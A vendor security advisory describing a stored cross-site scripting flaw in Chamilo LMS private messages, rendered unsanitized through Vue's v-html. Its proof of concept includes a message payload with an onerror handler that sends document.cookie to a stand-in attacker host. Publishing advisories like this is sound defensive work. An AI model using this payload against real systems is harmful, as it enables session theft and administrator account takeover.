Chamilo LMS: Stored XSS in private messages via `v-html`

An authenticated student can store a JavaScript payload in a private message that executes in an administrator's browser when the inbox is opened, hijacks their session and leads to full account compromise.

Advisory ID: TP-2026-008
Product: Chamilo LMS (widely used open-source learning management system)
Vulnerability type: Stored cross-site scripting (CWE-79)
CVE: CVE-2026-45143
CVSS 3.1: 9.0 (Critical) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Affected versions: >= 2.0.0, < 2.1.0
Fixed in: 2.0.1
Vendor advisory: GHSA-x88v-rg6r-vqq6
Reported: 23 April 2026

Summary

Chamilo is a widely used open-source learning management system. The content of private messages is stored without server-side sanitization and later written into the DOM unfiltered via Vue's v-html directive. Any authenticated user with the student role can send an administrator a message containing an HTML or JavaScript payload; as soon as the administrator opens their inbox, the script executes in their session. It requires no interaction beyond the routine reading of the message and enables session theft and takeover of the administrator account. turingpoint verified the end-to-end flow as a stored XSS with privilege escalation from student to administrator and reported it responsibly to the vendor.

Root cause

The message body is not sanitized server-side on save: src/CoreBundle/State/MessageProcessor.php persists the user-supplied content unchanged. On display, the Vue component assets/vue/views/message/MessageShow.vue renders the value through v-html="item.content", so arbitrary HTML including <script> or event-handler payloads reaches the DOM directly and executes. The same path exists in the legacy template public/main/template/default/message/view_message.html.twig, which emits the content inside a {% autoescape false %} block and disables Twig's automatic escaping. Because sending private messages to administrators is a regular permission for students, and the recipient inevitably renders the content when opening their inbox, a single message is enough to execute the payload in a higher-privileged session.

Proof of Concept

Schematic: a student sends a private message containing an event-handler payload to an administrator. When the inbox is opened, MessageShow.vue renders the content via v-html, and the script runs in the administrator's session:

// Authenticated student sends a private message to an administrator.
// The content is stored without server-side sanitization and later
// rendered via v-html="item.content" (MessageShow.vue).

POST /api/messages
Content-Type: application/json

{
  "title": "Course question",
  "content": "<img src=x onerror=\"fetch('https://attacker.example/c?c='+document.cookie)\">",
  "receivers": [{ "receiver": "/api/users/1" }]
}

// As soon as the administrator opens the message in the inbox,
// the payload executes in their session.

Because the content is sanitized neither on save nor on output, the payload reaches the DOM unchanged and exfiltrates the session data to the attacker.

Impact

  • A user with the low-privileged student role can deliver a payload to an administrator that executes in the administrator's session.
  • Using the stolen session token or cookies, the attacker can perform authenticated actions on behalf of the administrator.
  • The payload runs in Chamilo's origin and needs no interaction beyond the routine opening of the inbox (no phishing required).
  • As a result, a student escalates to administrator, enabling full compromise of the platform.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.